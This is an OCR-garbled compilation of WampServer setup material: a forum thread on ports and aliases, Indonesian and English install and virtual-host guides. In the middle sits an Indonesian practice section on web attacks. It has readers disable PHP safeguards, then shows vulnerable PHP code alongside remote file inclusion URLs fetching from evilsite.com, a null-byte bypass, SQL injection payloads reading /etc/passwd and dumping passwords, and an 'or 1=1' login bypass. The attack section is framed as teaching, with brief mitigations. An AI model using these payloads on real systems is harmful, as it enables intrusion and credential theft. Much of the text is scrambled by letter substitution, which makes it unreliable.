You are on page 1of 17

change localhost port

Posted by: Rebbekka (---.maricopa.gov)


Date: January 10, 2006 09:22PM

How do I change wamp's localhost port Irom 80 to something else? That port is currently being
used by something else...
Thanks

Cpsl 1
LdlL hLLpconf flle ln noLepad usually locaLed ln CwampApache2conf
Lhen do elLher C1L+l or go Lo Lul1/llnu from Lhe noLepad menubar Lhls wlll open llnu wlndow Lype
80 ln Lhe llnd WhaL box and cllck flnd nexL replace 80 Lo whlchever porL Lo wanL apache Lo llsLen Lo
you may have Lo change Lo Lwo or more places dependlng on your conflguraLlon and Lhen resLarL your
apache server Apache should llsLen Lo Lhe porL you seL ln Lhe hLLpconf flle Pope Lhls helps

Cpsl 2

l Lhlnk l flgured lL ouL Peres whaL l dld !usL ln case backup anyflles you have

llrsL

CoLo your wamp rooL folder xwamp Lhen Lheres a flle called wampserver (conflguraLlon seLLlngs)
CLn LhaL ln noLepad and you should see someLhlng llke Lhls

MenuLefL
1ype separaLor CapLlon WAM3
1ype lLem CapLlon LocalhosL AcLlon run lllename Crogram lllesMozllla llrefoxflrefoxexe
arameLers localhosL Clyph 3
1ype lLem CapLlon phpMyAdmln AcLlon run lllename Crogram lllesMozllla
llrefoxflrefoxexe arameLers localhosL Clyph 3
1ype lLem CapLlon SCLlLeManager AcLlon run lllename Crogram lllesMozllla
llrefoxflrefoxexe arameLers localhosL Clyph 3
1ype lLem CapLlon www dlrecLory AcLlon shellexecuLe lllename L/wamp/www Clyph 2
1ype submenu CapLlon Log flles SubMenu log_flles Clyph 3
1ype submenu CapLlon Conflg flles SubMenu conf_flles Clyph 3
1ype separaLor CapLlon Servlces
1ype servlcesubmenu CapLlon Apache Servlce wampapache SubMenu apache
1ype servlcesubmenu CapLlon MySCL Servlce wampmysqld SubMenu MySql
1ype lLem CapLlon SLarL All Servlces AcLlon mulLl AcLlons SLarLAll
1ype lLem CapLlon SLop All Servlces AcLlon mulLl AcLlons SLopAll
1ype lLem CapLlon 8esLarL All Servlces AcLlon mulLl AcLlons 8esLarLAll


As you can see l alread edlLed my localhosL paLhs Lo say localhosL lnsLead of localhosL uo LhaL for
each of Lhe Lhree arameLers

nLx1 l wenL Lo my phpmyadmln folder and opened my conflglncphp flle

from Lhere you should see someLhlng llke Lhls

$cfgmaAbsoluLeurl localhosL/phpmyadmln/


CuoLe Lhls ouL by sorroundlng Lhe sLrlng above wlLh /* */ LlkL SC

/* $cfgmaAbsoluLeurl localhosL/phpmyadmln/ */


1PLn ln Lhe same flle flnd

$cfgmaAbsoluLeurl_ulsableWarnlng lALSL

Change Lhls Lo 18uL llke so

$cfgmaAbsoluLeurl_ulsableWarnlng 18uL

Save and close 1hen resLarL your server and Lry agaln Worked for me

Pope LhaL helps! 8emember Lo backup Lhe flles menLloned [usL ln case you wanL Lo reverL Lo your old
conflguraLlon

Malcolm







Cara Insta|as| dan Sett|ng WampServer 20
$etelah sampai di situs yang terlihat untuk kotak di atas untuk muncul dan klik pada Download
WAMP $erver 2.0



conIiguringawampserver02

$impan Iile di suatu tempat yang Anda akan bisa mendapatkan untuk setelah selesai
menyelesaikan. Ini adalah sekitar 15-20 Mb, maka tergantung pada koneksi Anda, mungkin
diperlukan beberapa menit.


conIiguringawampserver03

$ekarang Anda akan melihat Iorm untuk anda memilih untuk menyimpan Iile. Double-klik untuk
memulai instalasi.

conIiguringawampserver04

Pilih untuk menjalankan Iile jika Anda diminta untuk melakukannya.

conIiguringawampserver05

Anda akan diminta untuk tidak menginstal versi ini lebih dari WAMP5 1.x. Klik yes untuk
melanjutkan dengan instalasi.

conIiguringawampserver06

Jendela pertama instalasi ini hanya memberitahu anda untuk pemasangan untuk aplikasi ini. Klik
berikutnya untuk melanjutkan.

conIiguringawampserver07

Jendela ini berisi LI$$I PUBLIK UMUM GU yang akan memungkinkan Anda untuk
menggunakan soItware ini. $etelah Anda meninjau ini klik tombol I accept the agreement dan
klik Next untuk melanjutkan.

conIiguringawampserver08

kotak ini memberi anda opsi di mana Anda ingin menginstal semua Iile. Anda dapat mengubah
ini jika Anda suka tetapi jika Anda melakukannya, ingatlah bahwa Anda harus meletakkannya di
Iolder yang tidak mengandung spasi seperti beberapa browser / server memiliki masalah
penanganan spasi dalam nama Iile. Hal ini juga di mana Iile web Anda akan disimpan di bawah
direktori bernama 'www'. Jika Anda tidak yakin, biarkan deIault ini.

conIiguringawampserver09
jendela ini akan memungkinkan Anda untuk membuat ikon desktop dan ikon cepat memulai
untuk memulai server dengan klik tombol. Jendela ini hanya meninjau semua opsi instalasi.
VeriIikasi pengaturan sudah benar dan klik berikutnya untuk mulai menginstal aplikasi.

Anda akan mendapatkan prompt di atas untuk mengkonIigurasi FireFox sebagai browser deIault
Anda untuk WAMP $erver, jika tidak maka akan digunakan Internet xplorer sebagai browser
bawaan.
Jendela ini akan memungkinkan Anda untuk mengkonIigurasi server Anda untuk meneruskan e-
mail yang Anda menciptakan php ke server yang tepat dan e-mail account sehingga mereka akan
pergi ke orang yang tepat setelah Anda menggunakannya. Jika Anda tidak mengetahui nilai-nilai
atau memiliki kemampuan untuk menggunakannya, mereka hanya meninggalkan deIault. Ini
adalah jendela selesai. Anda memiliki kemampuan untuk meluncurkan server secara otomatis
setelah menutup jendela ini jika Anda ingin. Klik Finish untuk memulai aplikasi.
Begitu server berjalan, anda akan melihat ikon di atas dan taskbar untuk WAMP $erver. Menu di
atas adalah apa yang akan Anda dapatkan jika Anda hanya kiri-klik sekali pada ikon tray.
Localhost - Pilihan ini cukup membuka halaman web yang disimpan di direktori home (yang
adalah "C: \ WAMP \ www \ index.php" secara deIault). Anda juga bisa pergi ke halaman ini
dengan mengetik "localhost" pada browser web Anda, atau dengan mengetikkan 127.0.0.1 pada
browser web Anda. phpMyAdmin - Opsi ini akan meluncurkan phpmyadmin (yang juga dapat
diluncurkan dengan akan http://localhost/phpmyadmin/ di browser web Anda. phpMyAdmin
adalah alat untuk mengelola, query, pilih, dan browse database My$"L Anda. Ini adalah php
berbasis dan relatiI mudah digunakan.
$"L$iteManager - ini meluncurkan sebuah alat untuk membuat dan menghapus seluruh
database. Anda menggunakan ini untuk menciptakan database dan phpmyadmin digunakan
untuk memanipulasi data di dalamnya. Ini juga dapat diakses dari http://localhost/sqlitemanager/
dalam browser web Anda. www Direktori - hal ini akan membuka Iolder dimana situs Iile
tersebut disimpan. Ini adalah Iile yang dipanggil saat Anda pergi ke localhost.
Apache - daerah ini memiliki pengaturan konIigurasi untuk Apache dan akan memungkinkan
Anda untuk membuat konIigurasi yang perlu Anda buat untuk layanan ini. PHP - daerah ini
memiliki pengaturan konIigurasi untuk PHP dan akan memungkinkan Anda untuk membuat
konIigurasi yang perlu Anda buat untuk layanan ini. My$"L - daerah ini memiliki pengaturan
konIigurasi untuk My$"L dan akan memungkinkan Anda untuk membuat konIigurasi yang
perlu Anda buat untuk layanan ini. Kemudian Anda juga memiliki pilihan untuk mengontrol
layanan dan mengambil server dan oII line.
$ecara deIault server diatur dengan Iile index.php yang akan menunjukkan layanan yang mulai
untuk layanan ini. File ini juga akan menunjukkan proyek-proyek yang telah dimulai pada server
Anda berdasarkan Iolder yang berada dalam Iolder www. Anda tidak perlu untuk menyimpan
Iile ini jika Anda tidak ingin. Anda dapat menghapusnya dan membuat index.php Anda sendiri
yang akan ditampilkan setiap kali Anda akses localhost. Ada banyak konIigurasi yang dapat
dilakukan untuk ini setup server. Happy surIing on you're local web server.

--------------------------------------------------------------------------------------------------------------------
$etelah proses instalasi selesai maka lakukan cek dengan membuka browser anda. lalu ketikkan
http://localhost. Pastikan ada icon wampserver di tray bar.
Untuk membuat proyek baru silahkan buka drive C:wampwww lalu tambahkan Iolder baru yang
nantinya akan digunakan untuk menyimpan Iile php anda.
-------------------------------------------------------------------------------------------------------------------
Time exercise.

Yang nulis disini menggunakan wampserver, jika yang membaca mau menggunakan
wampserver harus ada yang di configurasi sedikit agar paket yang kita inject
untuk praktek bisa berjalan untuk dilihat hasilnya.

Configurasi:
1.safe_mode = off
2.disabled_functions = N/A
3.register_globals = on
4.allow_url_include = on ( untuk Local File Inclusion / Remote File Inclusion
)
5.allow_url_fopen = on ( untuk Local File Inclusion / Remote File Inclusion )
6.magic_quotes_gpc = off
7.short_tag_open = on ( some scripts are using short tags,better on )
8.file_uploads = on ( untuk upload file )
9.display_errors = on (pesan error jika ada salah di deklarasi variable )

Please Wait..!!!

1.RFI (Remote File Inclusion)

Code rfi.php
-----------------------------
<.php
$pagina=$_GET'page',;
include $page;
.
-----------------------------

Coba letakan di file xammp D:\wamp\www\rfi.php lalu coba akses menggunakan
proses
http://127.0.0.1/rfi.php.page=http://evilsite.com/evilscript.txt
akan muncul error Undefined index: page in C:\wamp\www\test.php on line 2
ok ini hanya basic.

Selanjutnya.

==NULLBYTE (%00)

Code rfi.php
-----------------------------
<.php
$pagina=$_GET'page',;
include $page.'.php';
.
-----------------------------

lalu jalankan
http://127.0.0.1/rfi.php.pagr=http://evilsite.com/evilscript.txt

Tidak akan bekerja karena script akan mencoba untuk memasukkan
http://evilsite.com/evilscript.txt.php.
Cara untuk menampilkan script injectionnya tambahkan NULLBYTE (%00) di URL.

http://127.0.0.1/test.php.pagina=http://evilsite.com/evilscript.txt%00

Binggo script injectionnya berhasil di eksekusi. NULLBYTE akan membuang
semuanya
setelah NULLBYTE di masukan.


==.
code rfi.php
-----------------------------------------------
<.php
$pagina=$_GETpage,;
include $page.'logged=1';
.
-----------------------------------------------

logged=1 akan menjadi seperti variable.But lebih baik menggunakan nullbyte
(%00)

Ketika di jalankan:
http://127.0.0.1/test.php.pagina=http://evilsite.com/evilscript.txt.logged=1

Binggo script injectionnya berhasil di eksekusi.

==FULL

rfi.php
----------------------------------------------------
if (isset($_REQUEST"main_content",)),
$main_content = $_REQUEST"main_content",;
, else if (isset($_SESSIJN"main_content",)),
$main_content = $_SESSIJN"main_content",;
,
ob_start();
require_once($main_content);
----------------------------------------------------

Ketika Di jalankan
http://127.0.0.1/rfi.php.main_content=http://evilsite.com/evilscript.txt

Binggo script injectionnya berhasil di eksekusi

Ketika require_once($main_content); di hilangkan script injectionnya tidak
dapat di eksekusi.

Coba perhatikan kebanyakan dari code yang di tulis menggandung
require,require_once,
include,dan include_once. Lantas harus menggunakan apa. Semua itu memang
harus di
gunakan tapi terkadang para programer nya lupa akan hal yang harus di
waspadai ini dia:

require - require()
"identik dengan include () kecuali atas kegagalan itu akan menghasilkan
tingkat E_ERRJR fatal error."

require_once
"identik dengan require () kecuali PHP akan memeriksa apakah file sudah
dimasukkan,
dan jika demikian tidak termasuk (require) lagi."

include - mengevaluasi file yang ditentukan.

include_once - mengevaluasi file yang ditentukan selama eksekusi script.

Penjegahannya:
1. Memvalidasi variable dengan benar.
2. Mengkonfigurasi kembali settingan php pada server website Anda.
allow_url_include = off
allow_url_fopen = off
magic_quotes_gpc = on
3. pada include mungkin bisa ditambahkan "./"
jadinya seperti ini,
include("./"$_GETpage,.".php";


2.SQL injection

Disini yang nulis pertama kali membuat database beserta dalem dalemnya.

CREATE DATABASE `test` ;
(membuat database dengan nama test)

CREATE TABLE `test`.`members` (
`id` INT( 15 ) NJT NULL AUTJ_INCREMENT PRIMARY KEY ,
`username` VARCHAR( 255 ) NJT NULL ,
`password` VARCHAR( 255 ) NJT NULL
) ENGINE = MYISAM ;
(membuat table members didalam datebase test)

sql.php
-----------------------------------------------------------------
<.php
$id = $_GET'id',;
$result = mysql_query( "SELECT name FRJM members WHERE id = '$id'");
.
-----------------------------------------------------------------

Variable id tidak di filter karena itu hacker bisa saja menyisipkan code
SQL Injection ke dalam variable id contoh:

http://127.0.0.1/sql.php.id=1+union+all+select+1,null,load_file('etc/passwd')
,4--

Binggo hacker dapat melihat database members yang di buat di awal


listing_view.php
------------------------------------------------------------------
$id = $_GET'itemnr',;
require_once($home."mysqlinfo.php");
$query = "SELECT title, type, price, bedrooms, distance, address, phone,
comments, handle, image from Aqua where id=$id";
$result = mysql_query($query);
if(mysql_num_rows($result)),
$r = mysql_fetch_array($result);
------------------------------------------------------------------

untuk Yang ini databasenya bikin sendiri yah :D

Coba kita lihat variable id ditetapkan untuk 'itemnt', tidak di filter
dengan cara apapun.
http://127.0.0.1/listing_view.php.itemnr=null+union+all+select+1,2,3,concat(0
x3a,email,password),5,6,7,8,9,10+from+users--

Binggo hacker dapat melihat database Aqua.

Pencegahan

Cara sederhana: Jangan biarkan karakter khusus dalam variabel numerik
variables.
menggunakan (int), misalnya $ id = (int) $ _GET 'id',;
Cara lain: Untuk non-numerik variabel: menyaring semua karakter khusus yang
digunakan dalam SQLI: -,. () ' "_ + /


3.SQL Injection Login Bypass
- Code snippet from /admin/login.php

-----------------------------------------------------------------------
$postbruger = $_PJST'username',;
$postpass = md5($_PJST'password',);
$resultat = mysql_query("SELECT FRJM " . $tablestart .
"login WHERE brugernavn = '$postbruger' AND password =
'$postpass'")
or die("<p" . mysql_error() . "</p\n");
-----------------------------------------------------------------------

Di dalam code tersebut tidak ada penyaringan seperti pemasukan character aneh
(SQL injection).Dengan memanfaat kan SQLinjection Login Bypass seperti contoh
di bawah

username : admin ' or ' 1=1
password : sirgod

Binggo Kita dapat melihat hasilnya. Kita masuk tanpa tau username dan
password yang benar.


Pencegahan

Cara sederhana: Jangan biarkan karakter khusus dalam variabel numerik
variables.
menggunakan (int), misalnya $ id = (int) $ _GET 'id',;
Cara lain: Untuk non-numerik variabel: menyaring semua karakter khusus yang
digunakan
dalam SQLI: -,. () ' "_ + /

Cara yang nulis :
Selain menggunakan cara di atas. Biasa yang nulis itu menggunakan fasilitas
chapcha jadi di buat validasi dari inputan username,passowrd,dan captcha nya.
dan juga validasi charater dan inputan kosong etc.

end.

Celah yang lainnya dalam tahap pengetikan. Jadi Bersabar lah...!!!

-------------------------------------------------------------------------------------------------------------------
Pl hope someone can help lve been sLuck wlLh Lhls problem for a few days and lm geLLlng nowhere

l am runnlng wampserver and have so far found lL really easy Lo lnsLall and use
now l need Lo seL up mulLlple folders for varlous pro[ecLs and wlsh Lo use allases Lo do so

l have creaLed a folder muslcqulz wlLhln Lhe wamp folder alongslde Lhe www folder
l have creaLed an allas vla Lhe wamp menu and now have muslcconf ln my wamp/allas folder

Allas /muslc/ c/wamp/muslcqulz/

ulrecLory c/wamp/muslcqulz/
CpLlons lndexes lollowSymLlnks MulLlvlews
AllowCverrlde all
Crder allowdeny
Allow from all
/ulrecLory

WlLhln Lhe muslcqulz folder l have some flaL hLml flles and some php flles
When l polnL my browser Lo localhosL Lhe flle dlsplays correcLly whlch makes me Lhlnk LhaL Lhe allas ls
worklng correcLly
Powever when l Lry Lo open one of Lhe php flles such as localhosL my browser (flrefox) asks whaL l
wanL Lo do wlLh Lhe flle save / open wlLh raLher Lhan Lhe flle belng processed as a php flle 1he same
LesLphp flle ls processed correcLly when l save lL ln Lhe www folder and slmply run localhosL

lL seems LhaL l am mlsslng someLhlng buL l donL know whaL Pave Lrled several Llmes used dlfferenL
names Lrled manually creaLlng Lhe flle eLc buL sLlll no [oy

lease help!

Cpsl 1
Pl Lhanks for Laklng Llme Lo reply
uoes Lhe flle work lf you go Lo hLLp// localhosL/muslcqulz/LesLphp
no because Lhe rooL ls wamp/www and my flles are ln wamp/muslcqulz surely lL would be looklng for
wamp/www/muslcqulz ln LhaL case?

l am Lrylng Lo use an allas because my flles are lndeed ouLslde of Lhe rooL buL perhaps Lhey neednL be?
uo you Lhlnk l could [usL puL Lhe muslcqulz dlrecLory lnLo Lhe www dlrecLory? l guess LhaL should work
ld access Lhe flles by uslng hLLp// localhosL/muslcqulz/LesLphp ?? and Lhen lf l have a second
pro[ecL LhaL l need Lo keep separaLe LhaL could be www/newpro[ecL/ ?
l wlll Lry LhaL l guess l [usL wanLed Lo keep lL neaL and havlng Lhe flles ouLslde of Lhe www dlrecLory
would have been preferable

(modrewrlLe ls even furLher ouL of my capablllLles Lhan allas)

7eating Multiple Vi7tual Sites on a WAMP
Se7;e7 Installation
When developing multiple sites, it is helpIul to have a copy oI each site running on your local
computer. With Apache it is Iairly easy to conIigure multiple sites under one install. This article
outlines the basic steps Ior conIiguring Apache's "amed Virtual Hosts" Ieature under WAMP
$erver on Windows XP.
Step 1: Tell you7 machine to answe7 to diffe7ent names.
By deIault, Windows will answer to the name "localhost" Ior browser requests originating on the
same machine (yours). II you have WAMP $erver running, you can browse to http://localhost
and see your WAMP site. We can make Windows answer to multiple names by editing a Iile
called "hosts" located in your /windows/system32 Iolder. Browse to:
"C:\windows\system32\drivers\etc"
Once there, you should see a Iile titled "hosts". Open that Iile with a text editor like notepad or
Komodo dit. You may have to change the open dialog to "all Iiles" in order to see it. You
should see a line that looks like this:
127.0.0.1 localhost
That tells Windows that the name "localhost" points to the machine who's IP address is
127.0.0.1, which is a standard address Ior "this machine". We can multiple entries Ior 127.0.0.1,
and your browser will then associate all oI them with your local computer. In our case, let's
create one called "client1.localhost". Add a line to the hosts Iile so it looks like this:
127.0.0.1 localhost
127.0.0.1 client1.localhost
You can add as many entries as you like and your browser should display your WAMP $erver
site Ior all oI them. $ave your hosts Iile and try visiting http://client1.localhost" in your
browser. You should see your WAMP site.
ote: Do not create hosts entries Ior external sites. This can cause hours oI Irustration and
needless troubleshooting. For example, iI you added this line:
# Don't do this.
127.0.0.1 google.com
You would no longer be able to access google.com, because it is now associated with your local
computer. The request never reaches the Internet. The same applies to client domains. For this
reason, stick to something identiIiable as local, like "google.localhost".
Step 2: 7eate a lient Site Folde7
We need multiple site root Iolders to house multiple sites. Currently WAMP $erver only has one
site root, which typically lives at "C:\wamp\www". Let's create another one at
"C:\wamp\client2". avigate to "C:\wamp", and click "File -~ ew -~ Folder". Rename your
new Iolder to "client2".
Create a test Iile called "index.html" in "C:\wamp\client2":
<html
<head
<titleHello.</title
</head
<body
Hello from Client 2!
</body
</html
Step 3: Tell Apache to Se7;e Multiple Sites by Name
WAMP conIigures Apache to serve a single site that usually lives in "C:\wamp\www". Apache
can handle multiple sites iI we tell it where to look. To open your WAMP $erver Apache
conIiguration, leIt-click the WAMP $erver icon and select "Apache -~ httpd.conI". The Iile
should open in notepad.
Look Ior a line like this:
Listen 80
This tells Apache to listen Ior browser requests on port 80.
Change it to this:
Listen :80
This tells Apache to listen to port 80 oI any address.
At the end oI httpd.conI, add this:
# Tells Apache to identify which site by name
NameVirtualHost :80
# Tells Apache to serve the default WAMP Server page to "localhost"
<VirtualHost 127.0.0.1
ServerName localhost
DocumentRoot "C:/wamp/www"
</VirtualHost
# Tells Apache to serve Client 1's pages to "client1.localhost"
# Duplicate and modify this block to add another client
<VirtualHost 127.0.0.1
# The name to respond to
ServerName client1.localhost
# Folder where the files live
DocumentRoot "C:/wamp/client1"
# A few helpful settings...
<Directory "C:/wamp/client1"
allow from all
order allow,deny
# Enables .htaccess files for this site
AllowJverride All
</Directory
# Apache will look for these two files, in this order, if no file is
specified in the URL
DirectoryIndex index.html index.php
</VirtualHost
Step 4: Resta7t Apache and Test
LeIt-Click your WAMP $erver tray icon and select "Restart All $ervices". Browse to
http://client1.localhost and you should see your new site.

Installing and Testing Wampserver

HopeIully, you have now downloaded and installed Wampserver. This will give you a server on
your own PC (Windows users), somewhere you can test your scripts. II you haven't yet
dowloaded the Wampserver soItware, you can download it here:
Download Wampserver
II the installation went well, you should have an new icon in the bottom right, where the clock is:

Click the icon to see the menu above.
From here, you can stop the server, exit it, view help Iiles, and see the conIiguration pages.
Click on localhost, though, and you'll see this page appear: (Localhost just reIers to the server
running on your own computer. Another way to reIer to your server is by using the IP address
127.0.0.1.)

Click the link under Tools that says phpinfo(). II all went well, you should be looking at the
Iollowing page (The one below is a diIIerent php version, but don't worry about this - as long as
you see something):
The inIo.php page (click to open in a new window 66K)
II you saw the above page, then congratulations! Your PHP server is up and running, and you
can make a start scripting PHP pages.

aving your PHP files
Whenever you create a new PHP page, you need to save it in your WWW directory. You can see
where this is by clicking its item on the menu:

When you click on www directory, you should see an explorer window appear. This one is Irom
Windows Vista: (You'll probably have only two Iiles, index and testmysql.)

This www Iolder Ior Wampserver is usally at this location on your hard drive:
c:/wamp/www/
Bear this in mind when you click File > Sa;e As to save your PHP scripts.

auncing your PHP scripts
$uppose you have created a php script called test1.php. To launch this script, you need to add
the script name aIter localhost in your browser. $o instead oI this:
http://localhost/index.php
You would type this:
http://localhost/test1.php
You don't type the name oI the wamp Iolder, however. This would be wrong, Ior example:
c:/wamp/www/test1.php
As too would this:
http://localhost/www/test1.php
Your server knows where the www Iolder is, so you don't have to type it out: just add the script
name to localhost. Likewise, iI you create a Iolder under www then you'd just type this:
http://localhost/folde7*name/sc7ipt*name.php

OK, we'll assume that everything is now up and running. II it's not, click "Move on to the ext
Part" below, Ior some troubleshooting. II it is, click "Back to the PHP Contents Page".

You might also like